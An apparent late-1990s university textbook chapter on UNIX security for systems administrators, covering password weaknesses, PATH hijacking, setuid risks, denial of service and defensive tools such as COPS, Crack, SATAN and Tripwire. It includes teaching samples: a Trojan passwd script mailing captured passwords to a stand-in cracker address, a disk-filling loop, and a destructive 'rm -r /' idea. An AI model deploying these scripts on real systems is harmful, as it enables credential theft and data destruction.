A chain is only as strong as its
weakest link.
Proverb
If
a cracker obtains a login on a machine, there is a good chance he can become
root sooner or later. There are
many buggy programs that run at high privileged levels that offer opportunities
for a cracker. If he gets a login
on your computer, you are in trouble.
Bill Cheswick
As a Systems Administrator you are responsible for maintaining the integrity and security of the systems you administer. Given the weaknesses in a lot of software and the frailties of the human beings using your systems (not to mention yours) this is a far from easy task. This chapter introduces you to many of the security-related issues you must consider.
As a Systems Administrator you will need to do the following
§
evaluate the security of your site
Determine what the security needs of your site are. What are the current
security holes on your site? To do
this you will need to know how people break into systems. This chapter provides pointers to tools and documentation
used to compromise the security of systems.
An important part of this step is also identifying how secure you want
your system to be.
§
remedy and implement
Once you've found the security holes you have to plug them.
To do this you need to understand a number of basic concepts.
This chapter introduces those concepts.
§
observe and maintain
A system doesn't stay secure. Installing
new software, adding new users and the attentions of crackers all contribute to
the need for you to maintain a vigil watching the security of your system.
§
stay informed
New security holes and methods for breaking in are always being discovered.
For your site to stay secure you must keep up to date with all new
events.
Important
Much of
the information introduced in this chapter can be put to malicious use.
Such use can result in quite severe consequences.
You can be excluded from the University, fail this unit and even be
brought up on criminal charges. Any 85321 student found using the information
in this chapter illegally will fail the unit.
This chapter provides a very brief overview of some of the issues involved. There is a lot more to computer security than what is mentioned here. There is a great deal of information about this topic on the Web, in magazines and in books.
Why bother with security? No-one's going to break into my machine are they? Here are some reasons why security is extremely important
§ the FBI estimates $(US)7.5 billion is lost annually to electronic attack
§ the US Department of Defense found that 88% of their computers are penetrable and in 96% of the cases where the crackers got in, their intrusions went undetected
§ in 1993, CERT found a 73% increase in security breaks
§
the Wall Street Journal on August 21, 1995 reports
"Russian computer cracker successfully breached a large number of Citicorp
corporate accounts, stealing $400,000 and illegally transferring an additional
$11.6 million…".
§ reports of computer crime are increasing at more than 150% a year,
A recent set of tests performed with freely available security tools available
on the Internet (these tools are introduced in this chapter) gave the following
results
§ 88% of attempted break-ins were successful,
§ 96% were undetected,
§ in 95% of times when attacks were detected nothing was done.
As a Systems Administrator you must be concerned with security.
Another important finding is that the great majority of break-ins or illegal uses of information stored on computers is done by people from within the organisation, such as disgruntled workers using their access for personal gain. Security is not always protecting a system from people outside the system.
Before evaluating the security of your system, you need to decide how important security is for your site.
A machine running the UNIX operating system can be made into a very secure system if the right amount of effort is expended. However a very secure system is usually too inconvenient for normal users to use. In implementing a security scheme, the Systems Administrator must weigh the following costs
§
the importance of the machine, its availability and the data stored on
it,
Data on a computer used by first year students at a University doesn't need to
be as secure as data on a computer containing the plans for Intel's next
computer chip.
§
the amount of effort required to make and keep the system secure, and
It doesn't make sense to spend hundreds of thousands of dollars securing a
computer used for email by computing students.
§ how the security features will affect the users of the system.
A system can be made as secure as is necessary but in doing so you might lose all ability to make use of the machine. A machine in a room with no door and no outside connection is very secure, but no one can use it. To make a computer 99% secure, remove the network connection, to make the computer 100% secure, remove the power cord.
The Systems Administrator must balance the needs for convenience against the need for security.
The following is taken from the AUSCERT document, "Site Security Policy Development" by Rob McMillan. A link to the entire document is provided on the Resource Materials page of the 85321 Website.
In the same way that any society needs laws and guidelines to ensure safety, organisation and parity, so any organisation requires a Site Computer Security Policy (CSP) to ensure the safe, organised and fair use of computational resources.
The use of computer systems pervades many aspects of modern life. They include academic, engineering, financial and medical applications. When one considers these roles, such a policy assumes a large degree of importance.
A CSP is a document that sets out rules and principles which affect the way an organisation approaches problems.
Furthermore, a CSP is a document that leads to the specification of the agreed conditions of use of an organisation's resources for users and other clients. It also sets out the rights that they can expect with that use.
Ultimately a CSP is a document that exists to prevent the loss of an asset or its value. A security breach can easily lead to such a loss, regardless of whether the security breach occurred as a result of an Act of God, hardware or software error, or malicious action internal or external to the organisation.
Reading
AUSCERT (who and what they are is explained later in the chapter) have made available a document which outlines the requirements and content of a computer security policy. A copy can be found under the resource materials section for week 11 on the 83521 Web site/CD-ROM
Once you've decided (in reality the Systems Administrator doesn't decide but hopefully will have some input) on how secure your site is to be made, you have to evaluate just how secure your system is. This section introduces many of the basic concepts you will need to understand in order to evaluate security and also introduces some of the tools that can help.
To implement security on a system you should first identify the possible threats to the system. Threats to a computer system can be broken up into a number of categories
§
physical threats,
The building burns down, an earthquake hits or an intruder breaks into your
office or machine room and takes to the computers with an axe.
§
access to the system and its data, and
A cracker breaking into a bank and redirecting hundreds of thousands of dollars
from someone's account to their own. With
the advent of the network this access doesn't have to be to data on the actual
machine. It can include data that
is travelling over the network.
§
denial of service.
This type of threat is entirely malicious.
It serves no purpose but to prevent your computers from providing the
services they normally provide. This
type of attack is quite simple.
Physical threats include
§ unauthorised access to system consoles and other devices, and
§ acts of nature (i.e. floods and earthquakes).
Not all attacks on computer systems rely on intimate knowledge of computer hardware and software. The quickest way of denying service is to steal or destroy the physical hardware. For example, attack the nearest power sub-station, no power, no computer. Blow the building up. Mechanisms should be in place to prevent access to the physical hardware of a system.
One part of computer infrastructure that is often overlooked in a security plan is the cabling. The simplest way to bring a site's computer network to the ground is to take a shovel and dig up a few of the cables used for that site's network.
This does not always happen on purpose. CQU's network has been taken down a number of times by people (accidentally) digging up the fibre optic cable that forms the backbone of the CQU network.
While every effort can be taken to minimise damage from acts of nature, there is always the possibility that an event will occur that can destroy a system or destroy the entire site. This is one possibility that must be served by the site's recovery plan.
The old maxim "don't put all your eggs in one basket" is very applicable. Copies of backup tapes should be kept at another site. A number of sites in earthquake prone California send copies of backup tapes to other states to make sure that tapes are out of the earthquake zone.
Logical threats are caused by problems with computer software. These problems are caused either by
§
misuse by people,
A program not being configured properly and therefore offering a security hole;
people choosing really easy-to-guess passwords.
§ mistakes in programs, or in their interaction with each other
Computer systems today are complex congregations of interacting programs. The complexity of these programs and their interactions means that security holes crop up every now and then. It is these holes that bad guys use to break into systems.
Breaking into most systems is incredibly easy. Many crackers seem to think they are great heroes for breaking into the system, when in reality any half-wit with a bit of common sense can break into a system. Doing something constructive with a computer is infinitely more difficult and rewarding than doing something destructive.
Knowing how to break into a system is the first step in knowing what you need to fix. This section introduces you to some of the tactics, tools and holes used by crackers to break into systems.
To break into a site a cracker will generally go through these stages
§
information gathering,
During this phase he is trying to gather as much information about your site as
possible, determining the user's names, their phone numbers, office locations,
what machines are there.
§
get a login account,
Using the information gathered previously the cracker must now get a login
account. It usually doesn't matter whose account. At this stage the cracker is
just interested in getting onto the machine.
§
get root privilege, and
Once onto the machine the cracker will attempt to use any of a number of methods
to obtain root privilege, bugs in programs or badly configured systems are the
two most common.
§
keeping root privilege.
Once they've got it they don't want to loose it. So most will leave some sort of
trap door that allows them to get root privilege at any point in the future.
Social engineering is one of the most used methods for gaining access and it generally requires very little computer knowledge. The most common form of social engineering is for a cracker to impersonate an employee, usually a computer support employee, and obtain passwords or other security related information over the phone.
Other useful pastimes include
§
dumpster diving,
Sifting through the trash of an organisation looking for passwords or other
information.
§
getting a job.
Actually getting a job on the site, a cleaner or janitor is a good bet.
A lot of crackers consider people to be the weak link in security.
Readings
Two of the "good guys" of computer security, Dan Farmer and Wieste Venema (authors of the Satan tool discussed below) have written one of the standard papers a Systems Administrator should read. You will find a copy of this paper under the "Breaking in" link on the resource materials page for week 11.
There are a number of factors which make it easy to break into systems. One of them is the almost complete lack of effort many Systems Administrators put into security. Another is the huge number of bugs and problems in software which open systems up to break-ins. One of the most common is the use of the Internet by crackers to distribute information about how to break into systems.
Readings
The resource materials section on the 85321 Website/CD-ROM for week 11 has a number of links to Web sites and information produced by crackers. Take your time to look through these.
The rootshell.com (http://www.rootshell.com/) site is a prime example of why it
doesn't take any skill at all to break into a system.
Here is a site which lists a huge range of software and tips how to break
in.
The following section introduces some of the fundamental UNIX concepts (and problems) which crackers use to break into systems.
Passwords are the first line of defense in the security of a computer system. They are also usually the single biggest security hole. The main reason is that users do things with passwords that compromise their security including
§
write their password on a bit of paper and then leave it laying around,
This happens with student accounts at the start of every year at CQU.
§ type their passwords in very slowly while someone is watching over their shoulder,
§ choose really dumb passwords like password or their first name, and
§
log into their accounts across the Internet.
This is a problem because of some of the characteristics of information
travelling over the Internet. In
particular, most information is in clear text and it must pass through a number
of computers. This makes it
possible for other people, on some of these computers, to listen in on your
information as it passes over the Internet.
This means that they may be able to get your password.
These actions make it easy for crackers to obtain passwords and by pass this important first line of defense.
There have been a number of experiments that attempt to discover how many users actually choose dumb passwords. All of these experiments have found an alarmingly high percentage of users choose stupid passwords. One experiment found that approximately 10-20% of passwords could be guessed using a password list containing variations on login names, user's first and last names and a list of 1800 common first names.
Every year the program crack (more on this program later in the chapter) is run using the password file of the machine used by students of the Systems Administration subject offered by Central Queensland University. Every year between 10 to 20% of the passwords are discovered by Crack.
If you are on an ethernet network, it is fairly simple to obtain software that allows you to capture and examine all of the information passing through that network, called packet sniffing. This is one method for obtaining the usernames and passwords of people. Remember when you enter a password it is usually sent across the network in clear text.
At most large computer conferences (and many others) it is common to have a terminal room with a large number of computers with Internet connections. These terminal rooms are used by conference attendees to "phone home", to log onto their Internet accounts to check email etc.
Many conferences have suffered from people packet sniffing in these terminal rooms, gathering usernames and passwords of many of the conference attendees. This is a growing problem if you are using the Internet to connect back to a "home" computer. It's a problem that is addressed using a number of methods including one-time passwords that are discussed below.
The /etc/passwd file is the cornerstone of the password security system. The Systems Administrator should perform a number of checks on the contents of the /etc/passwd file. These checks are performed to make sure someone has not compromised security and left a gaping hole. The following describe some of the possible problems with /etc/passwd.
Any account without a password allows a cracker direct entry onto your machine. Once there they will at some stage get root privilege.
You cannot login to an account without a username using the normal login procedure. However you can become that user by using the command su "".
An account with a UID of 0 will have the same access permissions as the root user since the operating system thinks that anyone with UID 0 is root.
Generally only the root user and one or two system accounts will belong to group 0. Any other account being in that group will obtain permissions it should not.
The only modifications made to the /etc/passwd file should be made by the Systems Administration team. Any changes not made by that team implies someone has broken the security of your system. One method of checking this is keeping an up-to-date copy of the passwd file somewhere else and regularly comparing it with the /etc/passwd file.
The passwd file is usually owned by root. Only the owner of the file should have write permission on the passwd file. If these permissions have changed, someone has broken your security.
When you enter a command, the shell will search through all the directories listed in the PATH variable for an executable file with a filename that matches the command name. It is almost standard for users to include the current directory (signified by .) in their search path.
This can be useful when you are writing programs or shell scripts and you are in the same directory as the scripts. Without . in the search path, you would have to type ./script_name
If the current directory is included in the search path it should be the last one in the path.
If the current directory is the first directory in the path then whenever the user executes a command the shell will look first in the current directory. This is a security hole.
One practice of "bad guys" is to place programs with names that match standard commands (like passwd and su) everywhere in the directory hierarchy they have write access (for example, /tmp).
They do this to take advantage of situations like the following
§ the current directory is the first directory in the search path of the user,
§ the user is in the directory /tmp,
§ a bad guy has placed a program called passwd in that directory, and
§ the user wants to change their password so they enter passwd.
The shell will find the passwd program in the /tmp directory because it is the first directory in the search path. The shell will not search any further.
If he's smart the bad guy has written his passwd so it looks like the real one but actually sends the password to him.
17.1 Examine your search path. Does it include the current directory??
17.2
Modify your search path so it looks in the current directory
first. Create a shell script passwd
that contains the following code. Try changing your password from the
directory in which you created the shell script and see what happens.
#!/bin/bash
echo Changing passwd for `whoami`
echo -n Enter old password:
stty -echo
read password
# send email with machine name, username and password to a cracker
echo `hostname` `whoami` $password
| mail cracker@cracker.cqu.edu.au
stty echo
echo
echo Illegal password, imposter.
The current directory SHOULD NOT be in the search path for the root user.
Some Systems Administrators are so worried about this situation that they will always enter the full path of every command executed as root. Instead of typing
bash$
su
They will enter
bash$ /bin/su
regardless of the command. Remember any command that is executed by root will have root's privileges. A destructive cracker could create a shell script, call it ls and put the following code in it, rm -r /. What happens when root accidentally runs it by typing ls?
If a bad person has actually managed to crack someone's password and break into their account, the next step they will want to take is to obtain an account with more access (root if possible). The major hurdle they must overcome is UNIX file permissions.
A system's file permissions should be set up in such a way that will prevent users from accessing areas that they should not. The Systems Administrator is responsible for first setting up the file permissions correctly and then maintaining them.
The following sections examine issues involved with the file system.
When configuring a system, it is important that each file and directory have the correct permissions. This is especially true of important system files including device files, system configuration files and system startup files.
There is a story about one release of Sun's UNIX operating system that had problems with the permissions on a particular device file. These Sun machines came standard with little microphones that could be used to record sound. As with all devices on a UNIX machine, the microphone had a device file. On this particular release the default permissions for the microphone's device file was world read.
This meant anyone on the system could record what was being said around the microphone.
Once set up, regular checks on the file permissions should be performed to ensure that no-one has been tampering with them. Any changes you didn't make may indicate a security breakin.
Any program that runs setuid, especially setuid root, that is badly written or contains a security hole could be used to break security. You should know of all setuid and setgid programs on your system. Any such programs that are not needed should be deleted. You should also maintain a check on any new setuid programs that appear on your system.
Also you should never write shell programs that are setuid or setgid. In fact Linux won't let you. setuid shell scripts cannot be made safe.
17.3 Obtain a listing of all the files on your system which are setui or setgid.
If the naughty person is a simple vandal interested only in bringing the system down he might try something like the following
#!/bin/sh
while [ 0 ]
do
mkdir .temp #start with a dot so
it is normally hidden
cd .temp
cp /bin/* .
done
This is just one example of a malicious attack designed to bring a system down. Other methods include continually sending large amounts of email or using flood pings (a ping command that saturates a network). These are simple, yet common, examples of "denial of service" attacks.
The advent of networks, especially global networks such as the Internet, drastically increase the likelihood of your system being broken into. No longer do you have to worry about just people on your site. You also have to worry about all of the people on the Internet. The problems introduced by networks include the following.
Most of the common security problems with networks is due to bugs in software such as the finger daemon, sendmail and others. Such bugs allow people without accounts on a machine to get root access.
The Internet worm used a bug in the finger daemon that allowed you to run a command on the system without having a login. Bugs in sendmail have provided mechanisms to gain root access on a machine without needing the root password.
Bugs in software that cause security holes are usually announced by CERT (more on CERT later in this chapter).
Most of you should now be aware of similar problems in almost all of the networking software produced by Microsoft.
Talked about above. Packet sniffing is the act of examining all the packets being sent across a network to gain access to information. This can usually only be done if you are on the same network as the machines you are eavesdropping on.
There are a number of software packages, many freely available, that allow you to do this. Pointers to this software and exercises using them come below.
Using various levels of knowledge it is possible to pretend that you or your machine is someone else. A simple example is mail spoofing demonstrated in chapter 18. More complicated examples result in attacks on the domain name service and other software.
There are quite a number of freely available tools which are designed to help a Systems Administrator evaluate and maintain the security of a site. The problem is that these same tools also help crackers identify the sites where a Systems Administrator is not using these tools. This section introduces you to a number of these tools.
Reading
The resource materials section for week 11 contains a page which lists a number of the security tools which are available. A number of the tools mentioned are available directly from the 85321 Web site/CD-ROM (rather than from an overseas site).
There has been much philosophical debate about releasing these tools. There are basically two opinions
§
those "against",
These people believe these tools help crackers break into sites and so shouldn't
be released.
§
those "for".
Believe that these tools help administrators protect their sites and that any
one administrator not using these tools is asking to be broken into.
Personally I'm all for their release but your opinion may vary.
The following is taken from the COPS documentation and describes what COPS is.
The heart of COPS is a collection of about a dozen (actually, a few more, but a dozen sounds so good) programs that each attempt to tackle a different problem area of UNIX security. Here is what the programs currently check, more or less (they might check more, but never less, actually):
§ file, directory, and device permissions/modes,
§ poor passwords,
§ content, format, and security of password and group files,
§ the programs and files run in /etc/rc* and cron(tab) files,
§ existence of root-SUID files, their writeability, and whether or not they are shell scripts,
§ a CRC check against important binaries or key files to report any changes therein,
§ writability of users home directories and startup files (.profile, .cshrc, etc.)
§ anonymous ftp setup,
§ unrestricted tftp, decode alias in sendmail, SUID uudecode problems, hidden shells inside inetd.conf, rexd running in inetd.conf.
§ miscellaneous root checks -- current directory in the search path, a "+" in /etc/host.equiv, unrestricted NFS mounts, ensuring root is in /etc/ftpusers, etc.
§ the Kuang expert system. This takes a set of rules and tries to determine if your system can be compromised (for a more complete list of all of the checks, look at the file release.notes or cops.report; for more on Kuang, look at kuang.man)
All of the programs merely warn the user of a potential problem -- COPS DOES NOT ATTEMPT TO CORRECT OR EXPLOIT ANY OF THE POTENTIAL PROBLEMS IT FINDS! COPS either mails or creates a file (user selectable) of any of the problems it finds while running on your system. Because COPS does not correct potential hazards it finds, it does _not_ have to be run by a privileged account (i.e. root or whomever.)
The following is taken from the Crack documentation
Crack is a freely available program designed to find standard Unix eight-character DES encrypted passwords by standard guessing techniques. It is written to be flexible, configurable and fast, and to be able to make use of several networked hosts via the Berkeley rsh program (or similar), where possible.
The following is taken from the Satan documentation and explains what it does.
SATAN is a tool to help Systems Administrators. It recognises several common networking-related security problems, and reports the problems without actually exploiting them.
For each type or problem found, SATAN offers a tutorial that explains the problem and what its impact could be. The tutorial also explains what can be done about the problem: correct an error in a configuration file, install a bugfix from the vendor, use other means to restrict access, or simply disable service.
SATAN collects information that is available to everyone on with access to the network. With a properly-configured firewall in place, that should be near-zero information for outsiders.
We have done some limited research with SATAN. Our finding is that on networks with more than a few dozen systems, SATAN will inevitably find problems. Here's the current problem list:
§ NFS file systems exported to arbitrary hosts
§ NFS file systems exported to unprivileged programs
§ NFS file systems exported via the portmapper
§ NIS password file access from arbitrary hosts
§ Old (i.e. before 8.6.10) sendmail versions
§ REXD access from arbitrary hosts
§ X server access control disabled
§ arbitrary files accessible via TFTP
§ remote shell access from arbitrary hosts
§ writable anonymous FTP home directory
17.4 Install and use each of the three tools above.
Having decided on the appropriate level of security for your site and identified the security problems at your site you, now have to fix the problems and implement your security policy. This section examines tools and methods that can be used to improve security with passwords, the file system and the network.
There are a number of schemes a Systems Administrator can use to help make passwords more secure including
§ user education,
§ shadow passwords,
§ proactive password programs,
§ password generators,
§ password aging,
§ regular password cracking, and
§ one-time passwords.
Users do not want other people breaking into their accounts. If the users of a system are educated in the dangers of using bad passwords most will choose good passwords. One effective education program might be breaking their passwords with Crack and then telling them what their password is (if you can do it, the bad guys can).
How you perform user education will depend on your users. Different users respond to different methods. It must always remembered not to alienate your users.
Once they have a system's encrypted passwords, bad guys can crack these passwords using a variety of methods. Mentioned in the chapter on adding users, shadow passwords remove the encrypted password from the /etc/passwd file (a file readable by every user) and place them into a file readable only by the root user. This prevents the bad guys from (easily) getting a copy of your encrypted passwords.
When you install shadow passwords you will have to modify any program that asks the user to enter a username/password, e.g. login the pop mail daemon, the ftp daemon.
Passwords are set by using the passwd command. Many standard passwd programs allow the user to enter just about anything as a password. A proactive password program replaces the normal passwd command with a program that enforces certain rules.
For example, ensuring that all passwords are greater than 5 characters in length and not accepting insecure passwords like usernames, the word password, 123456789 etc. If the user's new password breaks these rules, a proactive passwd program will refuse to accept the new password.
The passwd program supplied with RedHat 5.0 is an example of a proactive password program. It will not allow passwords which are too short, are simple words or other common poor passwords.
17.5
On your RedHat machine attempt to change your password to
each of the following
– hello
– goodbye
– 1234567
– roygbiv (this is a common
abbreviation for the colours in a rainbow red orange yellow
green blue indigo violet
Some sites do not allow users to choose their own passwords but instead they use password generators. A password generator might provide the user with a list of passwords, consisting of random strings of characters, and ask the user to choose one. The passwords that are generated have to be easy to remember or else users start writing them down.
The longer a password is used, the greater the chance that it will be broken. Password aging is usually built into most shadow password suites. Password aging forces passwords to be changed after a set time period. In addition, the system may remember past passwords thereby preventing a user simply cycling through a list of passwords.
Care must be taken that the time period after which passwords must be changed is not too frequent. If it is, users start forgetting passwords and resort to writing them down.
The program crack has already been introduced in this chapter and while it can be a tool for crackers it can also be useful for a Systems Administrator. Even though it can consume a great deal of CPU time, it can be useful to run Crack on a system's passwords regularly. This helps you identify the users who have insecure passwords and you would then hopefully ask them to change the passwords.
There can be unexpected reprecusions from running crack, as Randall Schwartz found out. The following readings describe the situation.
Reading
The Web site, http://www.lightlink.com/spacenka/fors/, describes the case of the State of Oregon v. Randal Schwartz.
It's a common occurrence to have users to go on trips. It is also common for many of them, while on trips, to occasionally want to log on and check their email. They do this by logging in over the Internet. By doing this, the possibility of someone "eavesdropping" on their password exists. A solution to this is one-time passwords.
With a one-time password system installed, a new password must be used for every login. Since the password is only used once, the eavesdropper can't use the password he's just listened to.
The S/KEY system discussed later in this chapter is one public domain implementation of one-time passwords. There are a number of commercial versions, some of which incorporate smart cards which provide the one-off passwords.
Users have enough problems remembering one password. How can you expect them to remember a new password every time they login? There are a number of one-time password systems and they use a number of methods including
§
smart cards or computer programs,
The user is given a "secret" password. When they login, the system
gives them a number. The user enters the password and the number into a smart
card or a program which then generates the one-time password which the user
enters. The next time they login the number will be different, therefore a
different one-time password.
§
password lists.
Another (simpler?) method is for the user going on the trip to be given a small
piece of paper with a list of one-time passwords. The user scrolls through the
list every time they login.
Using networks to log into machines and perform other jobs runs the risk of packet sniffing. This section introduces two tools that offer solutions to that problem. Implementing either of these systems can help address this problem.
S/KEY is a simple, freely available one-time password system that can be installed onto most UNIX computers. It also comes with a number of MS-DOS and possibly Macintosh programs that can be used to generate one-time passwords.
17.6 The security tools page pointed to on the Resource Materials section of the 85349 Web site/CD-ROM includes a copy of S/KEY. Install it onto your machine.
Ssh (secure shell) is an alternative to S/Key. Ssh provides both encryption and authentication. All communication between the two hosts is encrypted which means it is more difficult to packet sniff passwords.
A version of Ssh is available from the local security tools page on the 85321 Web site/CD-ROM.
AUSCERT (what AUSCERT is, is explained later) has a security checklist for UNIX. The following points are adapted from the file permissions part of that document (a pointer to the entire document is given in the following reading).
You should make sure that the permissions of (not all these apply to Linux)
§ /etc/utmp are set to 644.
§ /etc/sm and /etc/sm.bak are set to 2755.
§ /etc/state are set to 644.
§ /etc/motd and /etc/mtab are set to 644.
§ /etc/syslog.pid are set to 644. (NOTE: this may be reset each time you restart syslog.)
§ the kernel (e.g., /vmunix) is owned by root, has group set to 0 (wheel on SunOS) and permissions set to 644.
§ /etc, /usr/etc, /bin, /usr/bin, /sbin, /usr/sbin, /tmp and /var/tmp are owned by root and that the sticky-bit is set on /tmp and on /var/tmp.
You should also
§ consider removing read access to files that users do not need to access.
§ ensure that there are no unexpected world writable files or directories on your system.
§ check that files which have the SUID or SGID bit enabled, should have it enabled
§ ensure the umask value for each user is set to something sensible like 027 or 077.
§ ensure all files in /dev are device files. (Note: Some systems have directories and a shell script in /dev which may be legitimate. Please check the manual pages for more information.)
§ ENSURE that there are no unexpected special files outside /dev.
AUSCERT recommends that anything run by root should be owned by root, should not be world or group writable and should be located in a directory where every directory in the path is owned by root and is not group or world writable.
Also check the contents of the following files for the root account. Any programs or scripts referenced in these files should meet the above requirements:
§ ~/.login, ~/.profile and similar login initialisation files
§ ~/.exrc and similar program initialisation files
§ ~/.logout and similar session cleanup files
§ crontab and at entries
§ files on NFS partitions
§ /etc/rc* and similar system startup and shutdown files
If any programs or scripts referenced in these files source further programs or scripts they also need to be verified.
Many systems ship files and directories owned by bin (or sys). This varies from system to system and may have serious security implications.
CHANGE all non-setuid files and all non-setgid files and directories that are world readable but not world or group writable and that are owned by bin to ownership of root, with group id 0 (wheel group under SunOS 4.1.x).
Please note that under Solaris 2.x changing ownership of system files can cause warning messages during installation of patches and system packages. Anything else should be verified with the vendor.
AUSCERT also has the following recommendations about programs
§
Tiger/COPS,
Do run one or both of these. Many of the checks in this section can be automated
by using these programs.
§
Tripwire.
DO run statically linked binary. DO store the binary, the database and the
configuration file on hardware write-protected media.
The following is taken from the Tripwire documentation.
Tripwire is a file and directory integrity checker, a utility that compares a designated set of files and directories against information stored in a previously generated database. Any differences are flagged and logged, including added or deleted entries. When run against system files on a regular basis, any changes in critical system files will be spotted -- and appropriate damage control measures can be taken immediately. With Tripwire, system administrators can conclude with a high degree of certainty that a given set of files remain free of unauthorized modifications if Tripwire reports no changes.
Linux can provide support for the BSD disk quota system. Disk quotas allow the Systems Administrator to restrict the amount of disk space individual users can consume. This can help protect the security of the system.
The BSD disk quota system allows the Systems Administrator to limit
§ the number of disk blocks a user can consume, and
§ the number of I-nodes a user owns (every file needs one I-node).
Under the BSD system, disk quotas are handled on a per user, per file system basis. This means disk quotas can be set individually for each user on each file system.
Let's assume that my system uses different file systems (partitions) for the /home directory and the /var/spool/mail directory. The user jonesd might have one quota for the /home file system. This would limit the number and size of the files he can create in his home directory.
He would have a different quota for the /var/spool/mail file system. This could be used to limit the problems of mail bombs.
For disk quotas to work, the file system code must support quotas. That is the code in the kernel that reads and writes to disk must understand and implement quotas. A default Linux kernel doesn't support disk quotas but modified kernels can be produced.
Once the kernel has been recompiled to support disk quotas, the partitions on which quotas are to work must be mounted with the quotas option. This generally means that a partitions entry in /etc/fstab must be changed.
Now the Systems Administrator must decide which users are to have quotas and what those quotas are going to be. The quotas are then set using a command edquota that allows the Systems Administrator to modify both the hard and soft limit for individuals.
From then on, the file system code will check to see whether or not the user currently asking it to write to disk has exceeded their quota. If they have, it will refuse to continue writing to disk.
The disk quota system allows the specification of two limits
§
a hard limit, and
This is the absolute limit. The user will not be allowed to exceed this limit.
The file system will simply refuse to carry out any request that increases the
size.
§
a soft limit.
The soft limit serves as a warning. If the user passes the soft limit they will
receive a warning message. After a set number of warnings, the soft limit will
begin to act like a hard limit.
The Internet is a big, bad world full of crackers who would like nothing more than breaking into your system. By connecting to the Internet you basically open the doors for them to come on in. A firewall is a concept designed to shut those doors.
Basically a firewall is a collection of hardware and software that forces all in-coming and out-going Internet data to go through one gate. Everything going in and out, but especially in, of that gate is evaluated. If it doesn't fulfil a certain criteria it is shut out.
Having a firewall provides the following advantages
§
protection of vulnerable services,
Access to vulnerable services like NFS
can be restricted to machines within your network.
§
controlled access to your site,
Access to machines on your site can be restricted. For example from outside CQU
you can only telnet
to the CQU machines jasper
and topaz. Telnet
access to other machines is prevented by the firewall.
§
concentrated security,
Access restrictions mean you can concentrate your efforts on ensuring security
(on some issues) to one or two machines.
§
enhanced privacy,
The firewall can hide the existence of other machines on your network. Outside
people only see the one or two "outside" machines.
§
logging and statistics on network use, misuse,
All network access goes through one machine which means the flow can be watched
closely and misuse can be picked up quickly.
Reading
The Resource Materials section for week 11 contains a pointer to a more in-depth introduction to firewalls. This reading is optional.
Once your system has been secured, your job is not over. An eye must be kept on what people are doing with the system and whether or not someone has broken security.
It is important that you maintain a close eye on what people are doing with the system. As the Systems Administrator you should have a good idea of what constitutes normal operation for your system and your users. By doing this you may get an early indication of someone breaking into your system.
The commands and files used to maintain a watch on the system are discussed in another chapter.
Crack, Satan and COPS introduced earlier in this chapter, can also be useful for maintaining an eye on the security of your system. By running these programs at regular intervals you perform checks on the continuing security of your system.
Another essential part of maintaining the security of your system is keeping up to date with information about the security (or otherwise) of the systems you are using. The following provide pointers to some sources of this information.
The following information on FIRST is taken from the FIRST WWW server, http://www.first.org/
Since November of 1988, an almost continuous stream of security-related incidents has affected thousands of computer systems and networks throughout the world. To address this threat, a growing number of government and private sector organisations around the globe have established a coalition to exchange information and coordinate response activities.
This coalition, the Forum of Incident Response and Security Teams (FIRST), brings together a variety of computer security incident response teams from government, commercial, and academic organisations. FIRST aims to foster cooperation and coordination in incident prevention, to prompt rapid reaction to incidents, and to promote information sharing among members and the community at large. Currently FIRST has more than 30 members.
One of the members of FIRST is the Australian Computer Emergency Response Team, AUSCERT. The following information on AUSCERT is taken from their WWW server, http://www.auscert.org.au/information/whatis.html
The Australian Computer Emergency Response Team, AUSCERT, provides a single trusted point of contact in Australia for the AARNet community to deal with computer security incidents and their prevention. AUSCERT aims to reduce the probability of successful attack, to reduce the direct costs of security to organisations and to minimise the risk of damage caused by successful attacks.
AUSCERT is a member of the Forum of Incident Response and Security Teams (FIRST) and has close ties with the CERT Coordination Centre, with other international Incident Response Teams (IRTs) and with the Australian Federal Police.
§ AUSCERT provides a centre of expertise on network and computer security matters.
§ AUSCERT centralises reporting of security incidents and facilitates communication to resolve security incidents.
§ AUSCERT provides for the collation and dissemination of security information including system vulnerabilities, defence strategies and mechanisms and early warning of likely attacks.
§ AUSCERT acts as a repository of security related information, tools and techniques.
The Australian Vice-Chancellors Committee has contracted AUSCERT to provide security services for all AARNet Members and Affiliates. These services are provided free of charge. Additional products and services are available from AUSCERT which incur charges. Please contact us for more details.
AUSCERT membership is not automatic: please obtain a copy of our Registration Form from ftp.auscert.org.au or see Registration for more details. If you are not sure of your affiliation with AARNet, please contact the AARNet General Manager (peter.saalmans@aarnet.edu.au). AUSCERT also contracts certain security services to organisations not associated with AARNET.
The Australian Computer Emergency Response Team (AUSCERT) is a cooperative of The University of Queensland, Queensland University of Technology and Griffith University. It provides a centre of expertise on network and computer security matters, providing a single point of contact within Australia for AARNet security, on behalf of the Australian Vice-Chancellors Committee.
Many of the pages listed in this chapter provide more information on security. The cracker sites add an interesting tone. Another useful pages is AUSCERT's list of WWW sites.
A good pointer to security mailing lists is the Security mailing list WWW page at Internet Security Systems.
Useful newsgroups include alt.security alt.security.index alt.security.pgp alt.security.ripem comp.os.* comp.risks comp.security.announce comp.security.misc comp.virus
It is absolutely essential that a computer system has an appropriate level of security. The greater the importance of the data, the greater the level of security. By connecting to the Internet it is no longer a case of "if" your system will be broken into but rather "when".
Security on a UNIX system can be broken into three sections
§
passwords,
The first line of defence and one often weakened by users. There are a number
strategies that can be used to increase the effectiveness of passwords including
user education, proactive password programs, one-time passwords and password
crackers.
§
the file system,
The file system and in particular file permissions are the fences of UNIX
security. Used properly, they can keep users in their own little yard on the
computer. Care should be taken to maintain the fences the network.
Give examples of possible security holes related to each of the following
§ passwords,
§ search paths,
§ file permissions,
§ networks.
Identify the security problems on your machine. A good idea would be to use the tools like COPS, Crack and Satan introduced in this chapter.
Explain why the following are security holes. Include in the explanation how the security hole would be used by a cracker.
§ The file permissions for /dev/hda1 are set to rw-rw-rw-
§ The account bloggsj has no password
§ The directory /usr/bin has the following file permissions rwxrwxrwx
Outline the steps you would take to break into a site.